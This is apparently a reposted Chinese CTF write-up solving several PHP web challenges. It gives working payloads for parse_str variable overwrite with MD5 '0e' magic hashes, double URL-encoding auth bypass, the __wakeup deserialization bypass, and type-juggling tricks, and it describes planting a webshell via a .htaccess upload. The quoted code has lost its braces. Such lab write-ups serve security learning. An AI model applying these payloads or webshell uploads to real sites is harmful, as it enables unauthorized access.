最近做的题的wp

Posted H3h3QAQ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了最近做的题的wp相关的知识,希望对你有一定的参考价值。

variacover

主要考点是变量覆盖

<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) 
    show_source(__FILE__);
    die();
else
    include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) //判断$a[0]的值不是QNKCDZO且$a[0]的MD5值要和QNKCDZO的MD5值相同

    echo $flag;
else
exit('你的答案不对0.0');


?>

接受参数的只有变量b,但是需要更改参数a[0]

@parse_str($b)把查询字符串解析到变量中,如果有同名变量,将原来的覆盖。

由于PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

PHP处理0e开头md5哈希字符串缺陷/bug

构造payload:

?b=a[0]=s878926199a

拿到flag ayyctf318fa61ae531e1778ffa6661c9b1ff06

upload1

F12 删除前端认证,然后上一句话木马 蚁剑连接拿flag

upload

先bp抓包上传.htaccess文件,将png文件解析为php文件,然后上一句话木马 蚁剑连接拿flag

unserialize3

class xctf
public $flag = '111';
public function __wakeup()
exit('bad requests');

?code=

反序列化 利用php中的new 实例化类xctf

<?php
class xctf
public $flag = '111';
public function __wakeup()
exit('bad requests');
    

$a=new xctf();
echo(serialize($a));
?>

获得payload:

O:4:"xctf":1:s:4:"flag";s:3:"111";

利用_wakeup()函数漏洞

把1改成2

O:4:"xctf":2:s:4:"flag";s:3:"111";

PHP2

没有头绪

扫了一下目录看到了index.phps

拿到源码

<?php
if("admin"===$_GET[id]) 
  echo("<p>not allowed!</p>");
  exit();


$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")

  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";

?>

Can you anthenticate to this website?

传一个名为id的参数,参数值必须为经过url编码后的admin

因为url发到服务器那里会自动解码一次

所以需要二次编码

payload:

/index.php?id=%2561%2564%256d%2569%256e

PHP

扫目录拿到index.php~

拿到源码

<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))

        $aaa = $_GET['aaa'];
		$aaa=="1"?die("Emmm..."):NULL;
        switch ($aaa)
        
        case 0:
        case 1:
                $a=1;
                break;
        

$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb))
    is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
    if(@$bbb["ccc"])
        ($bbb["ccc"]>2017)?$b=1:NULL;
    
	if(is_array(@$bbb["ddd"]))
        if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
        $eee = array_search("XMAN", $bbb["ddd"]);
        $eee===false?die("Emmm..."):NULL;
        foreach($bbb["ddd"] as $key=>$val)
            $val==="XMAN"?die("Emmm..."):NULL;
        
        $c=1;


if($a && $b && $c)
    include "flag.php";
    echo $flag;

?>

三个参数都为1时可以拿到flag

$a:

​ witch…case的弱类型比较,可以用1a绕过

$b:

​ $bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018a’ 即可

$c:

​ array_search函数的绕过,

构造payload:

/index.php?aaa=1a&bbb="ccc":"2018a","ddd":[[""],0]

拿到flag

ayyctfa2e43398d5d1a8513b233b2f0f8fa86f

以上是关于最近做的题的wp的主要内容,如果未能解决你的问题,请参考以下文章

最近做的题的wp

最近做的题的wp

CodeForces - 1282C

帮下忙用C语言编写下这道题的程序,关于指针和调用函数的题?

未完全弄懂的题的题51nod1532

一些待做的事情